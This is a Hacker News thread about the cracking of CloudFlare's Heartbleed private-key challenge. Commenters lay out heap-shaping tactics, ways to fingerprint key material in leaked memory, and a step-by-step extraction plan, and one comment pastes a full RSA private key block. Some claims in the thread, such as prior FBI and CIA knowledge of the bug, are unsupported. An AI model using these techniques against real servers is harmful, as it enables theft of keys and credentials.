CloudFlare's Heartbleed challenge cracked | Hacker News Reader

CloudFlare's Heartbleed challenge cracked

twitter.com

562 pointsjmduke142 comments

Reading Cloudflare's blog post[0], they keep referring to the exploit having a length of 65,536 bytes, and how an allocation of that size is unlikely to find itself lower in the heap.

That is true - but this exploit doesn't depend on setting a length of 65,536. The server takes whatever length the client gives it (which is, afterall, the bug). Most of the early exploits just happen to set the maximum packet size to get as much data out (not realizing the nuances of heap allocation). You can set a length of 8bytes or 16bytes and get allocated in a very different part of the heap.

The metasploit module for this exploit[1] supports varied lengths. Beating this challenge could have been as simple as running it with short lengths repeatably and re-assembling the different parts of the key as you find it.

edit something that I want to sneak in here since I missed the other threads. Cloudflare keep talking about how they had the bug 12 days early. Security companies and vendors have worked together to fix bugs in private for years, but this is the first time i've ever seen a company brag about it or put a marketing spin on it. It isn't good - one simple reason why: other security companies will now have to compete with that, which forces companies not to co-operate on bugs (we had the bug 16 days early, no we had the bug 18 days early!, etc.).

As users you want vendors and security companies co-operating, not competing at that phase.

[0] Cloudflare - Can You Get Private SSL Keys Using Heartbleed? http://blog.cloudflare.com/answering-the-critical-question-c...

[1] see https://github.com/rapid7/metasploit-framework/blob/master/m...

How do you know when you've found a piece of a key?

store everything, reconstruct it all later by trying to work out which part of the heap each request is from. there is likely some sort of efficiency calculus you can do here (i'm not good at math so I have no idea what i'm talking about) where you could calculate for heap size x and probabilities y and z etc. just how many requests and what size they should be to cover the entire process heap.

edit: OpenSSL wraps malloc, so it is different on different systems. You could find out what the probabilities are by looking at the source. For some reason FreeBSD's malloc gave up private keys with the default exploit length and not much effort. It was only a matter of time before other platforms were also figured out.

Note that the FreeBSD exploit worked on a fresh server after boot, which might have also been the case here.

Note that in the heap there are the intermediate values that and are used when constructing the connection and doing the encryption, you aren't exactly looking for '------BEGIN PRIVATE KEY------' or base64 string, you'd be looking for those - each which have a unique data type.

> Note that in the heap there are the intermediate values that and are used when constructing the connection and doing the encryption, you aren't exactly looking for '------BEGIN PRIVATE KEY------' or base64 string, you'd be looking for those - each which have a unique data type.

That's what I thought as well when I saw people POSTing strings like that and other people finding them. But when the key is first loaded from file, wouldn't actually all those base64 strings be in memory?

Probably just pretty unlikely that they would persist for a long time without being overwritten.

It shouldn't be about it eventually being overwritten, sensitive information like that (which isn't needed for runtime) should be actively scrubbed before the block of memory is freed.

You can't, however, get away with not having the private key modulus in memory (in some form) all the time.

From a piece? Hard.

But brute force everything you get back? Easy.

Take every key-sized chunk of heap you got back, and see if, when interpreted as the key, it is the private key to the public cert. When found, send it in!

I would think that there could be some application of how genome sequencing is done? From what I understand chains of DNA are cut by restriction enzymes and these random chains are assembled together by some clever algorithms?

Depending on the nature of the strings, yes. If there is no repetition or errors in the representation of the sequence, you could use overlap layout consensus if it were small, or de-brujn or string graphs if it were large. For repetitive but error free sequences, de-brujn and string graph will do. For error-containing sequences, only the de-brujn graph (with the proviso that you'll reconstruct some false-positive sequences too).

Brute force is infeasible if you get random heap data along with key fragments. Based on the way the exploit works[0], my amateur guess would be they sent small payloads and actually did get SSLv3 records, because they found the right heap allocation strategy for a specific build on a specific platform.

[0] http://blog.existentialize.com/diagnosis-of-the-openssl-hear...

>we had the bug 16 days early, no we had the bug 18 days early

And we didn't know what to do about it...

CIA and FBI had knowledge of variations of this vulnerability nearly 10 years ago.

OpenSSL has been patching variations of this bug for that whole time, and every good hacker, (and the bad ones) have been exploiting OpenSSL since its creation.

https://www.openssl.org/news/secadv_20030930.txt

People act surprised, but OpenSSL has never had a secure release. Ever.

> CIA and FBI had knowledge of variations of this vulnerability nearly 10 years ago.

Source?

CIA and FBI servers are easy to find, and many run OpenSSL. Go see which ones have the vulnerability.

You won't find it on them. Their branch doesn't have the issue.

Also look through this http://web.nvd.nist.gov/view/vuln/search-results?query=opens...

You will see mentions of this bug in products that use OpenSSL quite often.

haven't seen a mention of it yet.

Do you have evidence of that being true a week ago? It's no surprise that the CIA and FBI would scramble to lock down vulnerabilities as soon as they were announced, but that's not proof that they never had them in the first place.

After the Snowden business, I wouldn't be hugely surprised if the gov't was secretly aware of Heartbleed, but I'm not comfortable taking a random stranger's word for it.

If the government was aware of Heartbleed,you can be sure that knowledge was buried deep in the NSA, not at your local FBI office. It is laughable to think the FBI knew about this.

The bug wasn't even implemented 10 years ago.

BS. Those bugs are completely unrelated.

If there is a common denomenator between all OpenSSL bugs in the last 10 years is that they often come from basic problems/difficulties with C (array out of bounds, length checks and such).

Which is what caused those particular vulnerabilities.

OpenSSL has been vulnerable as you state because it is C rather than managed code, and managing memory has never been one of the core teams strong suits.

I get the reason for using C, OpenSSL is probably the most performant SSL solutions available. It is much less resource intensive than say Polar. (NSS is getting there, but is not really a solution for embedded systems [routers and such])

>all OpenSSL bugs in the last 10 years is that they often come from basic problems/difficulties with C (array out of bounds, length checks and such)

When you have a means to over flow or retrieve memory you can get at data or execute code to give you data. Which is the bug that is causing heart bleed.

What is making heart bleed worse is that it goes back so many versions so for the first time in a long time there is a well known vulnerability that is the same on everyone who runs it.

It isn't a "worse" vulnerability it is a "more common one". Think of it like a Genetic defect. If 1 animal in 10 has it, the herd still has "herd immunity". Or the old "there are no viruses for mac" back when mac had like 2% of the market share so even when there were viruses they were hard to spread. We are now at a point everybody who wants to be malicious knows how to attack, and there are a lot of thing to attack, so more attackers will get "lucky" and find something interesting, especially since there will be so many servers that no one remember they need to track down and fix.

CIA and FBI had knowledge of variations of this vulnerability nearly 10 years ago.

This isn't true. Don't make things up - this bug is bad enough without misinformation.

OpenSSL has been patching variations of this bug for that whole time

Untrue. OpenSSL has been patching unrelated bugs since it was created (as has most software).

https://www.openssl.org/news/secadv_20030930.txt*

This is unrelated to heartbleed.

It is related in that there has never been a release of OpenSSL that was secure. Not one. Ever.
The known vulnerabilities list for OpenSSL has never had a release that didn't have a flaw that allowed some amount of "backdooring", Dataextraction, or data manipulation. (as opposed to just a path for a DoS attack)
>Don't make things up -
I don't have to make things up. The CIA and FBI keep a list of known vulnerabilities, publicly and not publicly documented. They use this information for doing investigations. I have personally run in to issues where I was contacted by FBI because we had created fixes for our deployments and they contacted us to "unfix" them, because their warrants were "no knock" and they didn't wish to tell us who they were attempting to do surveillance on.
Feel free to Google me (Brandon Wirtz) if you need some background on my credentials in the security space.
But thanks for jumping to I make stuff up. The mis-information that is out there is that OpenSSL has ever been secure.
I'm more sad nobody beyond XKCD did a good job explaining how the bug works, or doing the demonstration I like where you bash on the server and do data alignment to show a couple of gigs worth of data from a single server. People aren't scared enough of this stuff.
All those people saying "change your passwords on every site", but nobody is creating a huge public list of which sites are currently not patched.
so >bad enough without misinformation
No. People are too complacent and the OpenSource community doesn't own up to the things they let slip by. The "smart" guys at CDN's and Banks, were never at risk because they use proxies that have extremely short "memory life" because data is streaming through rather than stored (by the time you could get a second value to do finger printing everything would have changed), and are running NSS, or Matrix or Polar.
Hearbleed is an issue because too many people are too complacent, too trustworthy, and too uninformed.

Which kind of proxies? What are they using them actually?

Just one example, but this is a typical setup.
http://www.cisco.com/c/en/us/td/docs/interfaces_modules/serv...
I don't suggest doing the Clear Text between server and proxy, but the idea is the same. You use a proxy so that you don't ever have user names or passwords in memory longer than a few ms.
Once a user is authenticated data passes through quickly making it very very difficult to do a fingerprint match of the data you do extract.
Also because you can load balance across proxies you may not even hit the same machine with a second "hear beat".
The Cert still has to be there somewhere, so you could still end up giving up a cert, and you could give away anything that fits on a single HTML page as it is flying by in the stream... But most sites know better than to display a password, or a username and a bank account number at the same time (not all, but most).
Heart Bleed is more of an issue because too many people built monoliths, rather than compartmentalizing. The Titanic didn't sink because it was compartmentalized, it sank because the man at the Wheel didn't know to let one compartment take all of the force, and instead spread it over a larger surface.
Your proxy should be disposable. Nothing of value should be on the thing that talks to the user, and shouldn't retain data for any length of time.

This is a great example of why a little knowledge is a bad thing. It almost sounds like you know what you are talking about, which probably confuses people.
Heartbleed is dangerous because it exposes private keys, and that let's you decrypt SSL traffic. That in turn may let you read passwords.
Don't conflate the two separate things.
Compartmentizing is good, but doesn't protect against Heartbleed.
Disposable proxies don't protect you.
Perfect Forward Secrecy does protect you because the private keys aren't reused. It is notable that you didn't mention the one technique that actually helps.
To me that shows you misunderstand what heartbleed is. Some if your critisms of OpenSSL are valid, but not for the reasons you claim.

The Private key thing is "bad" but far less bad than the user data that is being exposed.
The Private Key Exposure lets you do impersonation, but you would have to do something with DNS, or such to get it to work. Where as me getting your user/pass, or account information has immediate impact, and can't be "undone".
PS Conflate doesn't mean what you think it does. Conflate has to be wrapper for several topics or ideas that are related.
I can't "conflate" two unrelated things because conflation is by default "true". If we were discussing Gentrification, and Inflation in the housing market of San Francisco then we be talking about the conflated issue of "The San Francisco Housing Crisis".
Just as you can't "inflate" something with a vacuum or sand, or peanut butter, you can't conflate it with something that is unrelated.
This issue of the understanding of the word conflate comes from the fact that people think that "confused" sounds so much like it, and when they are trying to sound smart they use the word conflate when they really mean confuse, and think the two are synonyms.
-Brandon Wirtz
PlexiNLP (I know my words)

"Conflate" is very often, and properly, used to mean "treating two unrelated things as though they were related," which I believe is exactly what the poster meant to say you are doing. You can make an argument that "trying to conflate" would be more accurate, but only if you're more of a linguistic prescriptivist than most editors.

So would you say Polar SSL is less likely to contain exploitable code?

It seems to have a history of having fewer exploits that can result in leaking data. It has had more DoS exploits (I think) but most of them could be mitigated through configuration.
I think that the revenue model for Polar has put more money in to making sure it is secure. OpenSSL has always suffered from the fact that it is mostly "leach Ware". People use but they don't contribute because it isn't related to their core competency, so they don't mod or upgrade it. Polar on the other hand has people paid to test, patch and maintain the code.

To paraphrase Thomas, a core issue is getting the right eyes auditing code. We need more CTFs that offer cred and prizes to keep projects honest. Also, important core projects like OpenSSH, OpenSSL, GnuPG and core projects like zlib need to be held to a greater deal of scrutiny and adversarial reporting. But as it stands now, projects like zlib dont even bother GPG sign releases, so how much confidence can you have in the rest of their security posture? This is failure by way of academic happy-clappy laziness waiting to happen. Also other important projects like Glibc that were massive big balls of mud are likely to conceal all sorts of vulns by their enormous codebase and number of features AND poor support history, hence Debian's selection of eglibc.
So in conclusion there are a number of hard but necessary steps to reduce the threat surface from this sort of thing ever happening again. Because doing the same thing and expecting a different result is the literal definition of "stupid."
FOSS is part of the economy and important projects should be treated with the seriousness, responsibility and customer service of a business, even if the sale price is $0.

Yup, the threat horizon for Heartbleed only starts at March 14, 2012 with the first release of OpenSSL 1.0.1.
http://openssl.6102.n7.nabble.com/OpenSSL-1-0-1-released-td3...

I get your point, but CloudFlare actually fixed that 7 days before the public disclosure, that is 12 days ago.
"We fixed the flaw on Monday March 31, 2014 for all CloudFlare customers, with public notification on Monday April 7, 2014, after the researchers' public announcement." -- https://support.cloudflare.com/hc/en-us/articles/201660084-U...

That's close but you actually want to change the size of your packet, not the size of the requested return data.
// Essentially OpenSSLs bug is the following buffer = malloc(payload_claimed) // we aren't going over these bounds // Later memcpy(buffer, your_actual_payload, payload_claimed) // we are going over your_actual_payloads bounds
By changing your actual payloads size you can influence what data we get. The payload claimed doesn't really matter, that's just the amount we copy starting from wherever our actual payload ends up so that should always be 65536 for best results.
Incidentally i got the following off the server (a payload size of 0x1D seems to hit it) but it doesn't seem to accept it as the real RSA key.
I wonder if someones spamming requests containing false keys to the server or if they've just stopped accepting answers.
-----BEGIN RSA PRIVATE KEY----- MIIEpQIBAAKCAQEA6uXOrI1IRdAv8YCCd5PSBH9i+a85+gnFE+FWCQwtgOhRxCVX 3Wh3Sb74Dl9DSDGwiM7E9sGyZTmmAa/L4QrYq9Xz0/nGJfieFIfwqnY4XCoih5is w9pZMmMfOrS7Pov/e4AIorgqHjh5hU8eSim0d6NB35+fI8G6myOMolvkyMXBCO97 AYP1ALo4LhmlU9PsmWiTnekswzTtKspiRThRbP8ha9HNG+K2PUWtChtT7o8DrSb3 TdYmCdt/ryub/apnVasAEk5D3mux8d/vNhBlbqagfGVPyRI+PnGlnvBWaSQr+ERP INzlsKoqO/pKm075hzsSSZm6VMHk+tw8e9TTLQIDAQABAoIBAQDVFZEtcKCeTCQh xP0Vcm/zCogDjlReoRw5U5GTdYuVw6ng8CtLu2dy65zklMBZLlJBWKjOW5n0P557 KzkctZUmFFky8wMwEN9+Km9EgyfPW52lOfeHV3zQu6BpxeeR7rfdFaE/0ybJ8Vsz djk496oxWVT5gjh/3E7mSxJZelkJUrYNjWcyditpKvajUWDT/NQWemRFnkEWSOkp QMhnRNUNZLB2OIy58rDmzoX0RSnNnDcnqi4JQBnyH8N6SI7jd9KToDSBz2KubGeB y77VKEUjtzjOQHef+hXpOQEEJoWW2KevuMxrE9dj/6jR4wgs6638EoaC4sCaSXtc gQJPQni1AoGBAP1Dls3T5oYMbsrlDlInFVVP8N8jrWF3oivR8dtM1tsIVsSoSLt5 ZBO1v/4veUqKsZ+UJSJOfbIEArIo9p9J+j3EUW2BiOEUf9cwBnNukDgx5ocAjlWq Kz1p2HtPGzPmA920uik593xn5TVVqpVtZOZ6j3rVLIJ/eL07zNYJBd5fAoGBAO1v bOud4q8jmXdySaVfKVIhVljSooZ13Pfpr1dXMer1HDAFFROa0uI8SgCAlGUN6DIp Ji9kkmuvcU3NQcaAVus/maM63HSny5xpwl2ni4AZWUFoVh5WTjLZMXhH+L9ClN1G eoVOxTD2KnXE74gNTh0F/mHBoQSai9yv9QoMN6HzAoGBAMqrtNl/siEhf+PTy1MI vbSopUwbw9qUnu1MM6xX4DQlhzIWrSWBbgmrzzl9CiYRuTTHm7PJdiLnvLSPvVQZ Ii0dlj/4ge4Eto0gfHkRSE3/+MeeNUjuRW3+7uM2mcE9V2irALKPFbKzfaPhqwGr KiyadYlJYDYKBjgAy9mYHN8nAoGAc4YmedGdLNfmYK6z1ImjojlkON1rhH6uX9VM ofNj700JRPgEFEDdYIQzAWGOUkjc9CL/WEnX0BtRxqga28kwAVA1oa0O/JdzwwvW LRlLD63FtsRcOnCFpcn1fu+NwQlVQwB6tofn+/WaHSkP3qOSoR58cfXzMTk82cin MhdVri8CgYEA/JHRikQF7r384f8sDwFG6Ll8CTWW0NP7ng2yCPKjtu4U/T9OiFNT fbNv++blOEbtS/nPCUf1CrkjsesT76r/7YHLuQ43sk+rjKk3uFQnMDvrK1IJim9h 0h9D6Qr9XLGKFqbP72OQpuG/RFNXnCLxrJ0ZmxewJmyEYSS6kN78HHY= -----END RSA PRIVATE KEY-----

Excuse the formatting above, it seems to have eaten my whitespace.
Just for further reference i recommend reading about OpenSSLs freelists implementation. Essentially if you have an object that uses a specific amount of space it will be stored in a specific location. Which is why private key extraction is possible. You just need to craft a request that puts your_actual_payload in a location so that the 65536 bytes that are read from it into a buffer also end up reading the key.
http://www.tedunangst.com/flak/post/analysis-of-openssl-free...

Doesn't seem to match https://gist.github.com/indutny/a11c2568533abcf8b9a1

https://twitter.com/indutny/status/454767565991325697
How do you not love this guy.

Core node.js dev, based in Moscow, commits open source almost daily, works at Voxer, cracks security for fun.
I love the internet.

https://twitter.com/indutny/status/454783660886360064
Just awesome. Only 3 hours to rip out the key!

What's his favorite food?

Worked for me running Firefox 28.0 on Linux, no security warnings. Yikes!

Can someone elaborate on what's going on here?
If i replace his IP with some other random IP I get a 400 bad request error, so it's obvious that it works, but curious how that resolves.

Putting that mapping in /etc/hosts lets your machine skip DNS lookup for that hostname, and just use his IP for that domain name.
Then, your browser checks the received certificate against the authenticated TLS connection, and sees that all is well, allowing you to connect without a warning.
Since the browser does not warn of a certificate mismatch, he must have a valid certificate for 'cloudflarechallenge.com'. QED.

But seems like only the http connection is working, i get a warning in Chrome when visiting https://cloudflarechallenge.com. Isn't that the only situation where the key would be checked. That's the part that doesn't make sense.

Try https://www.cloudflarechallenge.com/

Subdomains are separate domains, and you put www.cloudflarechallenge.com in your hosts, so when going to the domain without the www subdomain your entry in the hosts is not used.
Either go to https://www.cloudflarechallenge.com or remove the www subdomain from your hosts entry.

Try setting 'www.cloudflarechallenge.com' in /etc/hosts instead, and when visiting the URL hit <shift>-<reload> to ensure your browser isn't caching anything.
I see Indutny's blog for 'https://www.cloudflarechallenge.com'[/etc/hosts mapped to 165.225.128.15] in both FF and Chrome.

Ok adding www to the hosts entry worked, appreciate it

Also possible to verify using OpenSSL commandline:
openssl s_client -connect 165.225.128.15:443 -showcerts \ -servername www.cloudflarechallenge.com
(Though to fully check, you need to compare certificates with the one off the real site, and ensure that his blog appears upon an HTTP request - to exclude proxying.)

I would call this a "self-induced man in the middle attack". You're telling your computer that cloudflarechallenge.com is his server.

The point is you can connect to it with HTTPS and your browser doesn't throw up big flashy warnings. It's basically proof that he has got the private key, since he can impersonate cloudfarechallenge.com with regards to SSL.

He doesn't have to have the private key, only a private key that was signed by any of the hundreds (counting intermediate CAs, thousands?) CAs trusted by his browser.

CAs will verify that you at least have control over hostmaster@ or an email listed in the WHOIS info for the domain before issuing certs.

He has to have the private key that matches the certificate he's presenting.
He's presenting the CloudFlare-obtained cert (which the site offers up on request), so the lack of a warning means he's got that private key.
Getting another CA-signed certificate, naming 'www.cloudflarechallenge.com' and matching another private key, would itself be an impressive compromise, though not the challenge CloudFlare made or what he's demonstrating.

See here how to verify that Indutny indeed snatched the private key from Cloudflare’s server: http://dankaminsky.com/2014/04/12/bloody-cert-certified/

Yes, of course. That's why it's a successful "man in the middle attack" of sorts. If the cert wasn't trusted then it would mean nothing.

> How do you not love this guy.
Me? Insane jealousy.
(Although I do like that he made me google up the X-Men And Teen Titans cover art to confirm the source of his Twitter pic.)

LOL I have that issue

We have reached out via twitter to this invidiual as to coordinate the delivery of the $10,000 bounty we offered. If anyone is already in contact with them please direct them to https://news.ycombinator.com/item?id=7572530

Somehow I totally missed your bounty offer. Not that I was going to win if I had seen it, but where was it mentioned?

(at least) in a comment near the top in the hn annoncement thread for the challenge

* From https://www.cloudflarechallenge.com/heartbleed *
So far, two people have independently solved the Heartbleed Challenge.
The first was submitted at 4:22:01PST by Fedor Indutny (@indutny). He sent at least 2.5 million requests over the span of the challenge, this was approximately 30% of all the requests we saw. The second was submitted at 5:12:19PST by Illkka Mattila using around 100 thousand requests.
We confirmed that both of these individuals have the private key and that it was obtained through Heartbleed exploits. We rebooted the server at 3:08PST, which may have contributed to the key being available in memory, but we can’t be certain.

More details added on the page: "... by Illkka Mattila [of NCSC-FI] ..." (The National Cyber Security Centre Finland).

I wonder if the trick is to just send so many things that memory wraps around to a place where the key is exposed.

That was my plan of attack, I left my machine at home sniffing, wonder if I caught it.
Had bleed running in a while loop with no sleep and ab running on a loop as well sending connections to the server hoping to get the mem jostled around enough to cause something like that you described.
I was unsuccessful as of 9:30AM... now I'm really curious to get home and see if I actually caught it... even though I already missed the $10k boat :(

I probably hit the server only a thousand times thinking that could be enough, I was far off.

The important thing to know here is that you not only have to change your current certs you ALSO HAVE TO REVOKE THE OLD ONE.
If you only change your current cert to get a new key but you don't go through the revocation process of the old certificate if someone managed to get the old one they can still use it for a MiTM attack - as both certs would be valid to any client.

Also, cert revocation just barely works, in some browsers, with EV certificates, after old CRLs expire over a course of months:
http://news.netcraft.com/archives/2013/05/13/how-certificate...

Time for every browser to change that behavior.

Is there a tutorial (for multiple browsers/platforms) for browser users to manually initiate downloading and processing of the latest CRL? Is this even exposed by most modern browsers, i.e. as part of the "clear cache" functionality? If so, I'd want to tell my [self/family/friends/coworkers] to do this in the coming weeks to minimize the amount of time they might happen to send private information to a MITM attacking, say, an e-commerce site.
Specifically, I'd be most interested for such a walkthrough for Google Chrome on OS X, which most people I know use.

Chrome doesn't check revocations by default. See "Check for server certificate revocation" in settings, which has for a while been disabled by default.

With GoDady, when you rekey, it automatically revokes the old cert after 72 hours.

https://twitter.com/eastdakota/status/454792635279220737
Pic of the CloudFlare team reviewing the attack. Ten guys crowded around one monitor.

Hah! That's awesome. Gotta love the Sierra Nevada on the desk too :)
edit: now why in the world is my comment being downvoted?

Usual Suspects: Someone fat fingered an upvote or HN is not always enthusiastic about "Me too!/That's awesome!" no-op comments.
Backup Suspect: Teetotaler/Brogrammer-hater. Doesn't like beer on the desk at work.

Because HN readers only drink Pliny the Elder and mentioning any other beer is down vote criteria.

Wish I could see what's on the monitor!

to be that guy: that's a bunch of kids. goes to show that we're far from being a mature industry when critical pieces of internet infrastructure are being run by bright, but inexperienced people. and of course they're inexperienced, no one really is, the whole thing is in its infancy.
but imagine this being "the team" in charge of mission critical stuff on a 777.
experience cannot be gained through shortcuts or pure intelligence. case in point, this very situation.

Say no to age discrimination.

Gonna be that guy:
That looks a lot like the scene from SV where the Snooli guys figure out that the "algorithm" is really good.
Also that's one BIG monitor.

So I didn't manage to crack the challenge (I used around 10k heartbeats), but I suspect it may have just been a case of brute-force (i.e asking for enough heartbleeds). Other people may have got the key without realizing that had done so because they were looking for the wrong thing (i.e. normal cert text representation).
I took the approach of using two fingerprints to search the data:
1) The hex sequence "30 82 .. .. 02 01 00" which would indicate the ASN.1 private key encoding which OpenSSL uses.
2) The modulus which I extracted from the public key (which would also be in the private key structure)
I didn't find any instance of the first, the second I found lots of instances of (because the modulus is also in the public key). I then filtered out all the instances of the public key by searching for the public key header ("30 82 .. .. 30 82").
This actually left me with two unique instances of the modulus in memory which weren't in a public key structure. I then tried to overlay the private key structure over the data and extracted what should have been the prime numbers and ran a primality test on them (to verify; another way would have been to just feed the structure into openssl). Both failed, so it wasn't the private key structure.
But there's a reasonable chance that those two instances represented a cryptographic calculation in progress; so while recovering the key wouldn't be as trivial as if you grabbed the full private key structure from memory (which I suspect is what the successful attackers did) I think it definitely represents another attack angle.

That's the way to do it - you can also use the tool interrogate:
https://github.com/carmaa/interrogate
/shameless plug

"We rebooted the server at 3:08PST, which may have contributed to the key being available in memory, but we can’t be certain.". https://www.cloudflarechallenge.com/heartbleed
That doesn't make sense to me, seems like the key needs to be in memory all the time, or at least during every session.

Yes, but if you read the original article [1], they discuss the fact that on Apache servers it is much easier to bleed the key if you manage to make the first request to a newly-started server, because Apache moves the key through some temporary structures early on that then get freed, and after a few requests the freed memory is overwritten. I think they're speculating that a similar thing might occur in nginx.
[1] https://blog.cloudflare.com/answering-the-critical-question-...

It seems that someone is doing some requests with RSA keys as a parameter. It doesn't make sense at all to me doing such request in order to get the server private key. Anyone seeing the same?

They're doing it to troll you (or others looking for keys).

They're probably trying to spoil the pot for the other people that are trying, by inserting extra private keys someone looking for 'just a private key' will grab one of the pushed ones.

It probably took longer to compose that blog post than it took @indutny to disprove it.

Didn't have any spare time to have a go at this, here's how I was going to do it:-
1) Create a VM with the same version of Linux, nginx, openssl.
2) Create a self-signed SSL certificate for the server
3) Verify that the HTTPS server is vulnerable to heartbleed
4) Run a few HTTPS requests against the server
5) Use gcore (or just send SIGABRT) to get a core file of the nginx process
6) Write a tool to check the memory image for remnants of the private key (since I know what it looks like). This may be encoded in several forms: as is from the ssl key file, hex encoded modulus, binary encoded modulus, however the BigNum stuff in OpenSSL stores the modulus, intermediate values used in calculations, etc. I can also check for partial matches since I know what the full key looks like.
7) Run the heartbleed client against the site to extract some chunks of memory, there are various strategies for this:-
a) Repeatedly grab the largest (65535) bytes of memory each time
b) Repeatedly grab different sizes (8KB, 16KB, etc) depending on the bucket sizes for OpenSSL's freelist wrapper around malloc.
c) Vary the request size (lots more headers, etc) to try and get different chunks of memory returned.
d) Occasionally restart nginx
8) Once I can reliably (for whatever value of reliably that is) get the key from my own server, I then modify the test for success from a comparison against the known private key, to a test which involves decrypting a string that was the result of encrypting some known plaintext with the known public key. That'll be slower, but still possible.
9) Run that analysis against real data retreived from the challenge server. The data (using the various strategies in #7) can be obtained in the background whilst I'm developing #1-#8. You can't rely on having sole access to the server so whatever strategy you use may be perturbed by other people performing requests.
10) Repeat #1-#8 for Apache and any other web server that is vulnerable to heartbleed.
This does work on the assumption that the key (in whatever form it is in) will be returned as a contiguous block of memory. Trying to patch together chunks of memory to look for the key will be much much harder unless there's significant overlap and it's easy to detect what/where a key is somehow.

I am not sure how those guys did it, but I was talking to a friend of mine today, and I guess that it had something to do with forcing the server to use its private key to check for information sent to it. Then you use the heartbleed bug to intercept the intermediate forms on the information you sent to be decrypted/authenticated. Since you know the plaintext, the ciphertext and the intermediate forms, it should be possible to recover the key.
As I said, I am not sure that is right or if that was the method used to exploit cloudflare, as I didn't had the time nor the knowledge of openssl implementation to test it out, I am just throwing my guess out there before the official exploit comes about.
edit: formatting

You can't recover keys with known plaintext attacks in most encryption algorithms used nowadays, plus, as far as I know, they don't even use the private key to encrypt your request. They only use it for a DH handshake, which establishes the session key you are going to use.

Love to see a post on how it was done and the tools he used.

Same here. I was trying other ways in instead of Heartbleed, and made no progress. On the positive side, I wasn't expecting Cloudflare to be vulnerable to a timing attack anyway.
EDIT He won't reveal it for a week. Good on him. https://twitter.com/indutny/status/454790640078176256

So this does mean that I need to change my passwords on every damn site on the list? Oh bollocks, those passwords were a work of art.

No. This means you need to change keys for every ssl service you run. Passwords were known to be leaked earlier.

New PRIVATE KEY, then new certs with that key.

Really it means (as everyone assumed in the first place) that anything a web server might have in its heap needs to be totally thrown away. Private keys. Passwords. Credit card numbers. Security questions/answers. Sessions.
Anything you'd send to a web server or receive from a web server is presumed compromised.

Seen on Twitter a few days ago: "Heartbleed is the Red Wedding of the Internet". Thought it hyperbolic at the time, but not any more...

So @indutny sent at least 2.5 million requests, should we start to think more on the practical prevention techniques?

A different person achieved retrieving the key in 100,000 requests, which is well within a practical and cheap botnet attack. The next question is how much of the key did they receive in the requests that revealed the key. If it was most or all of the key, a single attack node could query 100,000 different servers with the high probability of retrieving a key at least once with a low probability of being blocked by any of the servers.
TL:DR, patch OpenSSL and revoke and rekey all your certs.

Well, so much for wishful thinking.

Considering he just pulled a shadow file as well, it's not pretty.

I think someone else found that, although he linked to their pic.
Remember, lots of people are pushing up bogus stuff into the heap, so just because you see something there doesn't mean Cloudflare leaked it.

And who runs their webserver as root? (Or who changes the permissions on /etc/shadow to allow it be read by a non-root process).
Having to be root to be able to bind to a TCP port <1024 is no longer necessary on a modern OS.

An error occurred during a connection to www.cloudflarechallenge.com. Peer's Certificate has been revoked. (Error code: sec_error_revoked_certificate)
Game over...

Ah crap.

On the other hand, if anyone asks me to justify all that "unproductive time" this week, I don't need to handwave and explanations any more.

I was lucky, my boss understood pretty quickly how big a deal it was. My project manager didn't, though, but he did pretty quick when I cracked our dev server and told him his password for a couple of services.
It was fun playing pen tester and getting paid for it this week :)

Do you guys store passwords in plain text? Shouldn't you only be able to get password hashes from a vulnerable server? I might be reading too much into your statement, but I'd like to know if I'm misunderstanding the situation.

If the passwords were POSTed over and left on the heap, then they were vulnerable to being scooped up via Heartbleed, even if they are stored hashed in the database.

Heartbleed doesn't give you access to storage - it gives you access to the raw heap of the process that's linked to OpenSSL. Passwords are typically transmitted unhashed, albeit encrypted by TLS, and the application decrypts the TLS stream to heap, which means an unhashed version of the password is in process memory for some amount of time. An attacker using Heartbleed has a chance to see that memory, and could therefore see hashes OR unhashed passwords.

Example from a memory dump on a vulnerable server (username & password changed to protect the innocent):
`..?...t?.R...t>
...ned....userna
me=0000000+0ew+0
user&password=my
passw0rD.~Jt....
.3z..a..........
One of the things that caught me off guard, but isn't surprising is that some hosting companies don't use VM isolation, thus it was possible to pull memory from other sites which may have been patched. Hopefully hosting vendors that don't have isolated VM's don't also allow users to install their own OpenSSL as this would become a vector to compromise neighboring hosts. Of course allowing any custom software install in such an environment is just asking for it.

"[H]osting vendors that don't have isolated VM's don't also allow users to install their own OpenSSL as this would become a vector to compromise neighboring hosts."
Could you explain this please?
Here's a possible scenario... I root virtual machine X running on host Z (using heartbleed). Another machine running on Z is virtual machine Y. Because X and Y are not isolated, and I am running whatever I want on X, I can find some uncleared memory (somehow -- how?) that was previously used by Y, thus giving me access to Y. (Seems a bit handwavy, and I'm not sure this is what you meant, so any details would be helpful.)
--
For some context, I looked up "VM isolation" and found this article which I think sums it up pretty nicely: http://blogs.msdn.com/b/rsa2008/archive/2008/04/07/isolation...

This would only be an issue with shared hosting that shares a web server process.

Actually, another likely scenario is a load balancer shared by multiple sites... As long as the ssl is terminated at tr load balancer, it's vulnerable.

you are underestimating the severity of the bug. The bug leaks server memory - in which case unencrypted passwords are being sent to the server by the user's browser in order to be hashed to be compared to the hashed versions in storage.
Normally this is protected by tls, but as you can see, for servers that suffer from this hole, it's as good as naught.
Note that this occurs for "any" connections hitting the vulnerable server, meaning that the patient attacker can just run this in a script and scoop up passwords, credit card #'s, form information POST'ed in by all users of the web service all day long until the hole is closed. and even then there's a good chance that the private keys were already exposed, in which case the attacker can now masquerade as the server.

I don't think I have come across a more succinct explanation of the problem. Thank you.

This is why I always make sure to GC, delete or NULL input variables (you must include the request; body et al.) after encrypt/hash/<mechanism>.
I basically take the stanze that I want as little to do with your real password as possible.

Perhaps you should over-write them with garbage before doing this. Simply deallocating them (or assigning them to new objects) could leave them hanging around in memory until something else overwrites the same memory space.

Fortunately, I picked this week to muck up some of our HTTPS endpoints... ready made excuse!

Sadly I too had to claim Heartbleed on my weekly status report.

I was unaware that this was even in question. Didn't the heartbleed.com security researchers already demonstrate this in the lab?

i think cloudfare's version of nginx is a lucky version or my code is bugged or time after restart is important or you need to do some heap-fu by sending different payload sizes.
so i booted up a micro vm on amazon aws and was able to dump the private key in one request.
Ubuntu Server 13.10 (PV) - ami-35dbde5c
sudo add-apt-repository ppa:nginx/development sudo apt-get update sudo apt-get install nginx sudo apt-get install ssl-cert
modify /etc/nginx/sites-enabled/default uncomment ssl server and change certs:
